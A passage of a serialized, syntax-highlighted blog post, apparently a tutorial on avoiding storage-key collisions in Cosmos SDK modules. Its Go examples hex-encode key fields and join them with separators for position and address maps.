,"tag":475,"props":85265,"children":85266},{"style":493},[85267],{"type":32,"value":85268},"Encode",{"type":26,"tag":475,"props":85270,"children":85271},{"style":499},[85272],{"type":32,"value":626},{"type":26,"tag":475,"props":85274,"children":85275},{"style":2375},[85276],{"type":32,"value":85177},{"type":26,"tag":475,"props":85278,"children":85279},{"style":499},[85280],{"type":32,"value":637},{"type":26,"tag":475,"props":85282,"children":85283},{"style":2375},[85284],{"type":32,"value":85093},{"type":26,"tag":475,"props":85286,"children":85287},{"style":499},[85288],{"type":32,"value":647},{"type":26,"tag":475,"props":85290,"children":85291},{"class":477,"line":735},[85292],{"type":26,"tag":475,"props":85293,"children":85294},{"emptyLinePlaceholder":18},[85295],{"type":32,"value":545},{"type":26,"tag":475,"props":85297,"children":85298},{"class":477,"line":744},[85299,85304,85308,85312],{"type":26,"tag":475,"props":85300,"children":85301},{"style":2375},[85302],{"type":32,"value":85303},"positionNameEncoded",{"type":26,"tag":475,"props":85305,"children":85306},{"style":714},[85307],{"type":32,"value":76045},{"type":26,"tag":475,"props":85309,"children":85310},{"style":493},[85311],{"type":32,"value":85186},{"type":26,"tag":475,"props":85313,"children":85314},{"style":499},[85315],{"type":32,"value":3169},{"type":26,"tag":475,"props":85317,"children":85318},{"class":477,"line":753},[85319,85323,85327],{"type":26,"tag":475,"props":85320,"children":85321},{"style":499},[85322],{"type":32,"value":85198},{"type":26,"tag":475,"props":85324,"children":85325},{"style":505},[85326],{"type":32,"value":84387},{"type":26,"tag":475,"props":85328,"children":85329},{"style":499},[85330],{"type":32,"value":2425},{"type":26,"tag":475,"props":85332,"children":85333},{"class":477,"line":761},[85334,85338,85342,85346,85350,85354,85358,85363],{"type":26,"tag":475,"props":85335,"children":85336},{"style":2375},[85337],{"type":32,"value":85214},{"type":26,"tag":475,"props":85339,"children":85340},{"style":499},[85341],{"type":32,"value":353},{"type":26,"tag":475,"props":85343,"children":85344},{"style":493},[85345],{"type":32,"value":85223},{"type":26,"tag":475,"props":85347,"children":85348},{"style":499},[85349],{"type":32,"value":626},{"type":26,"tag":475,"props":85351,"children":85352},{"style":493},[85353],{"type":32,"value":8849},{"type":26,"tag":475,"props":85355,"children":85356},{"style":499},[85357],{"type":32,"value":626},{"type":26,"tag":475,"props":85359,"children":85360},{"style":2375},[85361],{"type":32,"value":85362},"positionName",{"type":26,"tag":475,"props":85364,"children":85365},{"style":499},[85366],{"type":32,"value":85244},{"type":26,"tag":475,"props":85368,"children":85369},{"class":477,"line":770},[85370],{"type":26,"tag":475,"props":85371,"children":85372},{"style":499},[85373],{"type":32,"value":647},{"type":26,"tag":475,"props":85375,"children":85376},{"class":477,"line":794},[85377,85381,85385,85389,85393,85397,85401,85405],{"type":26,"tag":475,"props":85378,"children":85379},{"style":2375},[85380],{"type":32,"value":85259},{"type":26,"tag":475,"props":85382,"children":85383},{"style":499},[85384],{"type":32,"value":353},{"type":26,"tag":475,"props":85386,"children":85387},{"style":493},[85388],{"type":32,"value":85268},{"type":26,"tag":475,"props":85390,"children":85391},{"style":499},[85392],{"type":32,"value":626},{"type":26,"tag":475,"props":85394,"children":85395},{"style":2375},[85396],{"type":32,"value":85303},{"type":26,"tag":475,"props":85398,"children":85399},{"style":499},[85400],{"type":32,"value":637},{"type":26,"tag":475,"props":85402,"children":85403},{"style":2375},[85404],{"type":32,"value":85362},{"type":26,"tag":475,"props":85406,"children":85407},{"style":499},[85408],{"type":32,"value":647},{"type":26,"tag":475,"props":85410,"children":85411},{"class":477,"line":831},[85412],{"type":26,"tag":475,"props":85413,"children":85414},{"emptyLinePlaceholder":18},[85415],{"type":32,"value":545},{"type":26,"tag":475,"props":85417,"children":85418},{"class":477,"line":845},[85419,85423,85427,85431,85435,85439],{"type":26,"tag":475,"props":85420,"children":85421},{"style":2375},[85422],{"type":32,"value":84828},{"type":26,"tag":475,"props":85424,"children":85425},{"style":714},[85426],{"type":32,"value":76045},{"type":26,"tag":475,"props":85428,"children":85429},{"style":2375},[85430],{"type":32,"value":81856},{"type":26,"tag":475,"props":85432,"children":85433},{"style":499},[85434],{"type":32,"value":353},{"type":26,"tag":475,"props":85436,"children":85437},{"style":493},[85438],{"type":32,"value":84845},{"type":26,"tag":475,"props":85440,"children":85441},{"style":499},[85442],{"type":32,"value":3169},{"type":26,"tag":475,"props":85444,"children":85445},{"class":477,"line":854},[85446,85450],{"type":26,"tag":475,"props":85447,"children":85448},{"style":629},[85449],{"type":32,"value":85011},{"type":26,"tag":475,"props":85451,"children":85452},{"style":499},[85453],{"type":32,"value":2425},{"type":26,"tag":475,"props":85455,"children":85456},{"class":477,"line":862},[85457,85461],{"type":26,"tag":475,"props":85458,"children":85459},{"style":2375},[85460],{"type":32,"value":84869},{"type":26,"tag":475,"props":85462,"children":85463},{"style":499},[85464],{"type":32,"value":2425},{"type":26,"tag":475,"props":85466,"children":85467},{"class":477,"line":885},[85468,85472],{"type":26,"tag":475,"props":85469,"children":85470},{"style":2375},[85471],{"type":32,"value":84953},{"type":26,"tag":475,"props":85473,"children":85474},{"style":499},[85475],{"type":32,"value":2425},{"type":26,"tag":475,"props":85477,"children":85478},{"class":477,"line":913},[85479,85484],{"type":26,"tag":475,"props":85480,"children":85481},{"style":2375},[85482],{"type":32,"value":85483}," usernameEncoded",{"type":26,"tag":475,"props":85485,"children":85486},{"style":499},[85487],{"type":32,"value":2425},{"type":26,"tag":475,"props":85489,"children":85490},{"class":477,"line":926},[85491,85495],{"type":26,"tag":475,"props":85492,"children":85493},{"style":2375},[85494],{"type":32,"value":84953},{"type":26,"tag":475,"props":85496,"children":85497},{"style":499},[85498],{"type":32,"value":2425},{"type":26,"tag":475,"props":85500,"children":85501},{"class":477,"line":948},[85502],{"type":26,"tag":475,"props":85503,"children":85504},{"style":2375},[85505],{"type":32,"value":85506}," positionNameEncoded\n",{"type":26,"tag":475,"props":85508,"children":85509},{"class":477,"line":966},[85510],{"type":26,"tag":475,"props":85511,"children":85512},{"style":499},[85513],{"type":32,"value":647},{"type":26,"tag":35,"props":85515,"children":85516},{},[85517,85519,85524],{"type":32,"value":85518},"We did it. We finally eliminated all potential ",{"type":26,"tag":53,"props":85520,"children":85522},{"className":85521},[],[85523],{"type":32,"value":84828},{"type":32,"value":85525}," collisions.",{"type":26,"tag":35,"props":85527,"children":85528},{},[85529],{"type":32,"value":85530},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":26,"tag":35,"props":85532,"children":85533},{},[85534,85536,85542,85544,85549,85551,85556,85558,85563,85565,85571],{"type":32,"value":85535},"In the Cosmos framework, it is common for each ",{"type":26,"tag":53,"props":85537,"children":85539},{"className":85538},[],[85540],{"type":32,"value":85541},"Module",{"type":32,"value":85543}," to own a few ",{"type":26,"tag":53,"props":85545,"children":85547},{"className":85546},[],[85548],{"type":32,"value":84599},{"type":32,"value":85550}," and have individual ",{"type":26,"tag":53,"props":85552,"children":85554},{"className":85553},[],[85555],{"type":32,"value":79574},{"type":32,"value":85557},"s managing access to storages. It's also important to note that each ",{"type":26,"tag":53,"props":85559,"children":85561},{"className":85560},[],[85562],{"type":32,"value":84599},{"type":32,"value":85564}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":26,"tag":53,"props":85566,"children":85568},{"className":85567},[],[85569],{"type":32,"value":85570},"Modules",{"type":32,"value":353},{"type":26,"tag":35,"props":85573,"children":85574},{},[85575,85577,85582],{"type":32,"value":85576},"With that being said, what if we have to maintain more than one structure within the same ",{"type":26,"tag":53,"props":85578,"children":85580},{"className":85579},[],[85581],{"type":32,"value":84599},{"type":32,"value":2863},{"type":26,"tag":35,"props":85584,"children":85585},{},[85586,85588,85594,85596,85601],{"type":32,"value":85587},"To demonstrate this scenario, we introduce the ",{"type":26,"tag":53,"props":85589,"children":85591},{"className":85590},[],[85592],{"type":32,"value":85593},"NameToAddressMap",{"type":32,"value":85595}," structure, which will be stored in the same ",{"type":26,"tag":53,"props":85597,"children":85599},{"className":85598},[],[85600],{"type":32,"value":84599},{"type":32,"value":85602}," we previously used.",{"type":26,"tag":465,"props":85604,"children":85606},{"code":85605,"language":75793,"meta":7,"className":75794,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[85607],{"type":26,"tag":53,"props":85608,"children":85609},{"__ignoreMap":7},[85610,85625,85640,85647,85662,85681,85696,85703,85718,85773,85780,85796,85816,85831,85838,85854],{"type":26,"tag":475,"props":85611,"children":85612},{"class":477,"line":478},[85613,85617,85621],{"type":26,"tag":475,"props":85614,"children":85615},{"style":482},[85616],{"type":32,"value":32455},{"type":26,"tag":475,"props":85618,"children":85619},{"style":505},[85620],{"type":32,"value":84645},{"type":26,"tag":475,"props":85622,"children":85623},{"style":505},[85624],{"type":32,"value":75831},{"type":26,"tag":475,"props":85626,"children":85627},{"class":477,"line":516},[85628,85632,85636],{"type":26,"tag":475,"props":85629,"children":85630},{"style":482},[85631],{"type":32,"value":32455},{"type":26,"tag":475,"props":85633,"children":85634},{"style":505},[85635],{"type":32,"value":84661},{"type":26,"tag":475,"props":85637,"children":85638},{"style":505},[85639],{"type":32,"value":84666},{"type":26,"tag":475,"props":85641,"children":85642},{"class":477,"line":539},[85643],{"type":26,"tag":475,"props":85644,"children":85645},{"emptyLinePlaceholder":18},[85646],{"type":32,"value":545},{"type":26,"tag":475,"props":85648,"children":85649},{"class":477,"line":548},[85650,85654,85658],{"type":26,"tag":475,"props":85651,"children":85652},{"style":482},[85653],{"type":32,"value":32455},{"type":26,"tag":475,"props":85655,"children":85656},{"style":505},[85657],{"type":32,"value":84678},{"type":26,"tag":475,"props":85659,"children":85660},{"style":505},[85661],{"type":32,"value":84666},{"type":26,"tag":475,"props":85663,"children":85664},{"class":477,"line":558},[85665,85669,85673,85677],{"type":26,"tag":475,"props":85666,"children":85667},{"style":482},[85668],{"type":32,"value":32455},{"type":26,"tag":475,"props":85670,"children":85671},{"style":505},[85672],{"type":32,"value":7137},{"type":26,"tag":475,"props":85674,"children":85675},{"style":482},[85676],{"type":32,"value":20859},{"type":26,"tag":475,"props":85678,"children":85679},{"style":499},[85680],{"type":32,"value":579},{"type":26,"tag":475,"props":85682,"children":85683},{"class":477,"line":582},[85684,85688,85692],{"type":26,"tag":475,"props":85685,"children":85686},{"style":2375},[85687],{"type":32,"value":42921},{"type":26,"tag":475,"props":85689,"children":85690},{"style":499},[85691],{"type":32,"value":75856},{"type":26,"tag":475,"props":85693,"children":85694},{"style":505},[85695],{"type":32,"value":83850},{"type":26,"tag":475,"props":85697,"children":85698},{"class":477,"line":596},[85699],{"type":26,"tag":475,"props":85700,"children":85701},{"style":499},[85702],{"type":32,"value":3607},{"type":26,"tag":475,"props":85704,"children":85705},{"class":477,"line":610},[85706,85710,85714],{"type":26,"tag":475,"props":85707,"children":85708},{"style":482},[85709],{"type":32,"value":32455},{"type":26,"tag":475,"props":85711,"children":85712},{"style":505},[85713],{"type":32,"value":84735},{"type":26,"tag":475,"props":85715,"children":85716},{"style":714},[85717],{"type":32,"value":84740},{"type":26,"tag":475,"props":85719,"children":85720},{"class":477,"line":650},[85721,85725,85729,85733,85737,85741,85745,85749,85753,85757,85761,85765,85769],{"type":26,"tag":475,"props":85722,"children":85723},{"style":482},[85724],{"type":32,"value":84748},{"type":26,"tag":475,"props":85726,"children":85727},{"style":499},[85728],{"type":32,"value":3440},{"type":26,"tag":475,"props":85730,"children":85731},{"style":505},[85732],{"type":32,"value":84757},{"type":26,"tag":475,"props":85734,"children":85735},{"style":499},[85736],{"type":32,"value":15117},{"type":26,"tag":475,"props":85738,"children":85739},{"style":482},[85740],{"type":32,"value":66795},{"type":26,"tag":475,"props":85742,"children":85743},{"style":499},[85744],{"type":32,"value":3440},{"type":26,"tag":475,"props":85746,"children":85747},{"style":505},[85748],{"type":32,"value":84774},{"type":26,"tag":475,"props":85750,"children":85751},{"style":499},[85752],{"type":32,"value":15117},{"type":26,"tag":475,"props":85754,"children":85755},{"style":482},[85756],{"type":32,"value":66795},{"type":26,"tag":475,"props":85758,"children":85759},{"style":499},[85760],{"type":32,"value":3440},{"type":26,"tag":475,"props":85762,"children":85763},{"style":505},[85764],{"type":32,"value":84791},{"type":26,"tag":475,"props":85766,"children":85767},{"style":499},[85768],{"type":32,"value":15117},{"type":26,"tag":475,"props":85770,"children":85771},{"style":505},[85772],{"type":32,"value":84800},{"type":26,"tag":475,"props":85774,"children":85775},{"class":477,"line":679},[85776],{"type":26,"tag":475,"props":85777,"children":85778},{"emptyLinePlaceholder":18},[85779],{"type":32,"value":545},{"type":26,"tag":475,"props":85781,"children":85782},{"class":477,"line":735},[85783,85787,85792],{"type":26,"tag":475,"props":85784,"children":85785},{"style":482},[85786],{"type":32,"value":32455},{"type":26,"tag":475,"props":85788,"children":85789},{"style":505},[85790],{"type":32,"value":85791}," AddressName",{"type":26,"tag":475,"props":85793,"children":85794},{"style":505},[85795],{"type":32,"value":84666},{"type":26,"tag":475,"props":85797,"children":85798},{"class":477,"line":744},[85799,85803,85808,85812],{"type":26,"tag":475,"props":85800,"children":85801},{"style":482},[85802],{"type":32,"value":32455},{"type":26,"tag":475,"props":85804,"children":85805},{"style":505},[85806],{"type":32,"value":85807}," Address",{"type":26,"tag":475,"props":85809,"children":85810},{"style":482},[85811],{"type":32,"value":20859},{"type":26,"tag":475,"props":85813,"children":85814},{"style":499},[85815],{"type":32,"value":579},{"type":26,"tag":475,"props":85817,"children":85818},{"class":477,"line":753},[85819,85823,85827],{"type":26,"tag":475,"props":85820,"children":85821},{"style":2375},[85822],{"type":32,"value":14810},{"type":26,"tag":475,"props":85824,"children":85825},{"style":499},[85826],{"type":32,"value":75856},{"type":26,"tag":475,"props":85828,"children":85829},{"style":505},[85830],{"type":32,"value":83850},{"type":26,"tag":475,"props":85832,"children":85833},{"class":477,"line":761},[85834],{"type":26,"tag":475,"props":85835,"children":85836},{"style":499},[85837],{"type":32,"value":3607},{"type":26,"tag":475,"props":85839,"children":85840},{"class":477,"line":770},[85841,85845,85850],{"type":26,"tag":475,"props":85842,"children":85843},{"style":482},[85844],{"type":32,"value":32455},{"type":26,"tag":475,"props":85846,"children":85847},{"style":505},[85848],{"type":32,"value":85849}," AddressMap",{"type":26,"tag":475,"props":85851,"children":85852},{"style":714},[85853],{"type":32,"value":84740},{"type":26,"tag":475,"props":85855,"children":85856},{"class":477,"line":794},[85857,85861,85865,85869,85873,85877,85881,85885,85889,85893,85897,85902,85906],{"type":26,"tag":475,"props":85858,"children":85859},{"style":482},[85860],{"type":32,"value":84748},{"type":26,"tag":475,"props":85862,"children":85863},{"style":499},[85864],{"type":32,"value":3440},{"type":26,"tag":475,"props":85866,"children":85867},{"style":505},[85868],{"type":32,"value":84757},{"type":26,"tag":475,"props":85870,"children":85871},{"style":499},[85872],{"type":32,"value":15117},{"type":26,"tag":475,"props":85874,"children":85875},{"style":482},[85876],{"type":32,"value":66795},{"type":26,"tag":475,"props":85878,"children":85879},{"style":499},[85880],{"type":32,"value":3440},{"type":26,"tag":475,"props":85882,"children":85883},{"style":505},[85884],{"type":32,"value":84774},{"type":26,"tag":475,"props":85886,"children":85887},{"style":499},[85888],{"type":32,"value":15117},{"type":26,"tag":475,"props":85890,"children":85891},{"style":482},[85892],{"type":32,"value":66795},{"type":26,"tag":475,"props":85894,"children":85895},{"style":499},[85896],{"type":32,"value":3440},{"type":26,"tag":475,"props":85898,"children":85899},{"style":505},[85900],{"type":32,"value":85901},"AddressName",{"type":26,"tag":475,"props":85903,"children":85904},{"style":499},[85905],{"type":32,"value":15117},{"type":26,"tag":475,"props":85907,"children":85908},{"style":505},[85909],{"type":32,"value":85910},"Address\n",{"type":26,"tag":35,"props":85912,"children":85913},{},[85914],{"type":32,"value":85915},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":26,"tag":465,"props":85917,"children":85919},{"code":85918,"language":75793,"meta":7,"className":75794,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[85920],{"type":26,"tag":53,"props":85921,"children":85922},{"__ignoreMap":7},[85923,85934,85949,85956,85963,85970,85986,86001,86028,86051,86070,86086,86122,86129,86164,86171,86191,86206,86241,86248,86283,86290,86318,86330,86342,86354,86366,86377,86389,86396,86403,86410,86417,86433,86448,86472,86495,86514,86529,86564,86571,86606,86613,86633,86648,86683,86690,86726,86733,86760,86771,86782,86793,86804,86815,86827,86834],{"type":26,"tag":475,"props":85924,"children":85925},{"class":477,"line":478},[85926,85930],{"type":26,"tag":475,"props":85927,"children":85928},{"style":482},[85929],{"type":32,"value":9363},{"type":26,"tag":475,"props":85931,"children":85932},{"style":499},[85933],{"type":32,"value":78195},{"type":26,"tag":475,"props":85935,"children":85936},{"class":477,"line":516},[85937,85941,85945],{"type":26,"tag":475,"props":85938,"children":85939},{"style":2375},[85940],{"type":32,"value":84953},{"type":26,"tag":475,"props":85942,"children":85943},{"style":714},[85944],{"type":32,"value":2383},{"type":26,"tag":475,"props":85946,"children":85947},{"style":629},[85948],{"type":32,"value":84962},{"type":26,"tag":475,"props":85950,"children":85951},{"class":477,"line":539},[85952],{"type":26,"tag":475,"props":85953,"children":85954},{"style":499},[85955],{"type":32,"value":647},{"type":26,"tag":475,"props":85957,"children":85958},{"class":477,"line":548},[85959],{"type":26,"tag":475,"props":85960,"children":85961},{"emptyLinePlaceholder":18},[85962],{"type":32,"value":545},{"type":26,"tag":475,"props":85964,"children":85965},{"class":477,"line":558},[85966],{"type":26,"tag":475,"props":85967,"children":85968},{"emptyLinePlaceholder":18},[85969],{"type":32,"value":545},{"type":26,"tag":475,"props":85971,"children":85972},{"class":477,"line":582},[85973,85977,85982],{"type":26,"tag":475,"props":85974,"children":85975},{"style":482},[85976],{"type":32,"value":75929},{"type":26,"tag":475,"props":85978,"children":85979},{"style":493},[85980],{"type":32,"value":85981}," PositionMapKey",{"type":26,"tag":475,"props":85983,"children":85984},{"style":499},[85985],{"type":32,"value":3169},{"type":26,"tag":475,"props":85987,"children":85988},{"class":477,"line":596},[85989,85993,85997],{"type":26,"tag":475,"props":85990,"children":85991},{"style":2375},[85992],{"type":32,"value":84869},{"type":26,"tag":475,"props":85994,"children":85995},{"style":505},[85996],{"type":32,"value":76050},{"type":26,"tag":475,"props":85998,"children":85999},{"style":499},[86000],{"type":32,"value":2425},{"type":26,"tag":475,"props":86002,"children":86003},{"class":477,"line":610},[86004,86008,86012,86016,86020,86024],{"type":26,"tag":475,"props":86005,"children":86006},{"style":2375},[86007],{"type":32,"value":84881},{"type":26,"tag":475,"props":86009,"children":86010},{"style":499},[86011],{"type":32,"value":637},{"type":26,"tag":475,"props":86013,"children":86014},{"style":2375},[86015],{"type":32,"value":85362},{"type":26,"tag":475,"props":86017,"children":86018},{"style":499},[86019],{"type":32,"value":75856},{"type":26,"tag":475,"props":86021,"children":86022},{"style":505},[86023],{"type":32,"value":84387},{"type":26,"tag":475,"props":86025,"children":86026},{"style":499},[86027],{"type":32,"value":2425},{"type":26,"tag":475,"props":86029,"children":86030},{"class":477,"line":650},[86031,86035,86039,86043,86047],{"type":26,"tag":475,"props":86032,"children":86033},{"style":499},[86034],{"type":32,"value":76011},{"type":26,"tag":475,"props":86036,"children":86037},{"style":2375},[86038],{"type":32,"value":71783},{"type":26,"tag":475,"props":86040,"children":86041},{"style":499},[86042],{"type":32,"value":75856},{"type":26,"tag":475,"props":86044,"children":86045},{"style":505},[86046],{"type":32,"value":84387},{"type":26,"tag":475,"props":86048,"children":86049},{"style":499},[86050],{"type":32,"value":676},{"type":26,"tag":475,"props":86052,"children":86053},{"class":477,"line":679},[86054,86058,86062,86066],{"type":26,"tag":475,"props":86055,"children":86056},{"style":2375},[86057],{"type":32,"value":85483},{"type":26,"tag":475,"props":86059,"children":86060},{"style":714},[86061],{"type":32,"value":76045},{"type":26,"tag":475,"props":86063,"children":86064},{"style":493},[86065],{"type":32,"value":85186},{"type":26,"tag":475,"props":86067,"children":86068},{"style":499},[86069],{"type":32,"value":3169},{"type":26,"tag":475,"props":86071,"children":86072},{"class":477,"line":735},[86073,86078,86082],{"type":26,"tag":475,"props":86074,"children":86075},{"style":499},[86076],{"type":32,"value":86077}," []",{"type":26,"tag":475,"props":86079,"children":86080},{"style":505},[86081],{"type":32,"value":84387},{"type":26,"tag":475,"props":86083,"children":86084},{"style":499},[86085],{"type":32,"value":2425},{"type":26,"tag":475,"props":86087,"children":86088},{"class":477,"line":744},[86089,86094,86098,86102,86106,86110,86114,86118],{"type":26,"tag":475,"props":86090,"children":86091},{"style":2375},[86092],{"type":32,"value":86093}," hex",{"type":26,"tag":475,"props":86095,"children":86096},{"style":499},[86097],{"type":32,"value":353},{"type":26,"tag":475,"props":86099,"children":86100},{"style":493},[86101],{"type":32,"value":85223},{"type":26,"tag":475,"props":86103,"children":86104},{"style":499},[86105],{"type":32,"value":626},{"type":26,"tag":475,"props":86107,"children":86108},{"style":493},[86109],{"type":32,"value":8849},{"type":26,"tag":475,"props":86111,"children":86112},{"style":499},[86113],{"type":32,"value":626},{"type":26,"tag":475,"props":86115,"children":86116},{"style":2375},[86117],{"type":32,"value":85093},{"type":26,"tag":475,"props":86119,"children":86120},{"style":499},[86121],{"type":32,"value":85244},{"type":26,"tag":475,"props":86123,"children":86124},{"class":477,"line":753},[86125],{"type":26,"tag":475,"props":86126,"children":86127},{"style":499},[86128],{"type":32,"value":23620},{"type":26,"tag":475,"props":86130,"children":86131},{"class":477,"line":761},[86132,86136,86140,86144,86148,86152,86156,86160],{"type":26,"tag":475,"props":86133,"children":86134},{"style":2375},[86135],{"type":32,"value":85214},{"type":26,"tag":475,"props":86137,"children":86138},{"style":499},[86139],{"type":32,"value":353},{"type":26,"tag":475,"props":86141,"children":86142},{"style":493},[86143],{"type":32,"value":85268},{"type":26,"tag":475,"props":86145,"children":86146},{"style":499},[86147],{"type":32,"value":626},{"type":26,"tag":475,"props":86149,"children":86150},{"style":2375},[86151],{"type":32,"value":85177},{"type":26,"tag":475,"props":86153,"children":86154},{"style":499},[86155],{"type":32,"value":637},{"type":26,"tag":475,"props":86157,"children":86158},{"style":2375},[86159],{"type":32,"value":85093},{"type":26,"tag":475,"props":86161,"children":86162},{"style":499},[86163],{"type":32,"value":647},{"type":26,"tag":475,"props":86165,"children":86166},{"class":477,"line":770},[86167],{"type":26,"tag":475,"props":86168,"children":86169},{"emptyLinePlaceholder":18},[86170],{"type":32,"value":545},{"type":26,"tag":475,"props":86172,"children":86173},{"class":477,"line":794},[86174,86179,86183,86187],{"type":26,"tag":475,"props":86175,"children":86176},{"style":2375},[86177],{"type":32,"value":86178}," positionNameEncoded",{"type":26,"tag":475,"props":86180,"children":86181},{"style":714},[86182],{"type":32,"value":76045},{"type":26,"tag":475,"props":86184,"children":86185},{"style":493},[86186],{"type":32,"value":85186},{"type":26,"tag":475,"props":86188,"children":86189},{"style":499},[86190],{"type":32,"value":3169},{"type":26,"tag":475,"props":86192,"children":86193},{"class":477,"line":831},[86194,86198,86202],{"type":26,"tag":475,"props":86195,"children":86196},{"style":499},[86197],{"type":32,"value":86077},{"type":26,"tag":475,"props":86199,"children":86200},{"style":505},[86201],{"type":32,"value":84387},{"type":26,"tag":475,"props":86203,"children":86204},{"style":499},[86205],{"type":32,"value":2425},{"type":26,"tag":475,"props":86207,"children":86208},{"class":477,"line":845},[86209,86213,86217,86221,86225,86229,86233,86237],{"type":26,"tag":475,"props":86210,"children":86211},{"style":2375},[86212],{"type":32,"value":86093},{"type":26,"tag":475,"props":86214,"children":86215},{"style":499},[86216],{"type":32,"value":353},{"type":26,"tag":475,"props":86218,"children":86219},{"style":493},[86220],{"type":32,"value":85223},{"type":26,"tag":475,"props":86222,"children":86223},{"style":499},[86224],{"type":32,"value":626},{"type":26,"tag":475,"props":86226,"children":86227},{"style":493},[86228],{"type":32,"value":8849},{"type":26,"tag":475,"props":86230,"children":86231},{"style":499},[86232],{"type":32,"value":626},{"type":26,"tag":475,"props":86234,"children":86235},{"style":2375},[86236],{"type":32,"value":85362},{"type":26,"tag":475,"props":86238,"children":86239},{"style":499},[86240],{"type":32,"value":85244},{"type":26,"tag":475,"props":86242,"children":86243},{"class":477,"line":854},[86244],{"type":26,"tag":475,"props":86245,"children":86246},{"style":499},[86247],{"type":32,"value":23620},{"type":26,"tag":475,"props":86249,"children":86250},{"class":477,"line":862},[86251,86255,86259,86263,86267,86271,86275,86279],{"type":26,"tag":475,"props":86252,"children":86253},{"style":2375},[86254],{"type":32,"value":85214},{"type":26,"tag":475,"props":86256,"children":86257},{"style":499},[86258],{"type":32,"value":353},{"type":26,"tag":475,"props":86260,"children":86261},{"style":493},[86262],{"type":32,"value":85268},{"type":26,"tag":475,"props":86264,"children":86265},{"style":499},[86266],{"type":32,"value":626},{"type":26,"tag":475,"props":86268,"children":86269},{"style":2375},[86270],{"type":32,"value":85303},{"type":26,"tag":475,"props":86272,"children":86273},{"style":499},[86274],{"type":32,"value":637},{"type":26,"tag":475,"props":86276,"children":86277},{"style":2375},[86278],{"type":32,"value":85362},{"type":26,"tag":475,"props":86280,"children":86281},{"style":499},[86282],{"type":32,"value":647},{"type":26,"tag":475,"props":86284,"children":86285},{"class":477,"line":885},[86286],{"type":26,"tag":475,"props":86287,"children":86288},{"emptyLinePlaceholder":18},[86289],{"type":32,"value":545},{"type":26,"tag":475,"props":86291,"children":86292},{"class":477,"line":913},[86293,86298,86302,86306,86310,86314],{"type":26,"tag":475,"props":86294,"children":86295},{"style":2375},[86296],{"type":32,"value":86297}," key",{"type":26,"tag":475,"props":86299,"children":86300},{"style":714},[86301],{"type":32,"value":76045},{"type":26,"tag":475,"props":86303,"children":86304},{"style":2375},[86305],{"type":32,"value":81856},{"type":26,"tag":475,"props":86307,"children":86308},{"style":499},[86309],{"type":32,"value":353},{"type":26,"tag":475,"props":86311,"children":86312},{"style":493},[86313],{"type":32,"value":84845},{"type":26,"tag":475,"props":86315,"children":86316},{"style":499},[86317],{"type":32,"value":3169},{"type":26,"tag":475,"props":86319,"children":86320},{"class":477,"line":926},[86321,86326],{"type":26,"tag":475,"props":86322,"children":86323},{"style":629},[86324],{"type":32,"value":86325}," \"%d%s%s%s%s\"",{"type":26,"tag":475,"props":86327,"children":86328},{"style":499},[86329],{"type":32,"value":2425},{"type":26,"tag":475,"props":86331,"children":86332},{"class":477,"line":948},[86333,86338],{"type":26,"tag":475,"props":86334,"children":86335},{"style":2375},[86336],{"type":32,"value":86337}," vaultId",{"type":26,"tag":475,"props":86339,"children":86340},{"style":499},[86341],{"type":32,"value":2425},{"type":26,"tag":475,"props":86343,"children":86344},{"class":477,"line":966},[86345,86350],{"type":26,"tag":475,"props":86346,"children":86347},{"style":2375},[86348],{"type":32,"value":86349}," Seperator",{"type":26,"tag":475,"props":86351,"children":86352},{"style":499},[86353],{"type":32,"value":2425},{"type":26,"tag":475,"props":86355,"children":86356},{"class":477,"line":979},[86357,86362],{"type":26,"tag":475,"props":86358,"children":86359},{"style":2375},[86360],{"type":32,"value":86361}," usernameEncoded",{"type":26,"tag":475,"props":86363,"children":86364},{"style":499},[86365],{"type":32,"value":2425},{"type":26,"tag":475,"props":86367,"children":86368},{"class":477,"line":1006},[86369,86373],{"type":26,"tag":475,"props":86370,"children":86371},{"style":2375},[86372],{"type":32,"value":86349},{"type":26,"tag":475,"props":86374,"children":86375},{"style":499},[86376],{"type":32,"value":2425},{"type":26,"tag":475,"props":86378,"children":86379},{"class":477,"line":1046},[86380,86385],{"type":26,"tag":475,"props":86381,"children":86382},{"style":2375},[86383],{"type":32,"value":86384}," 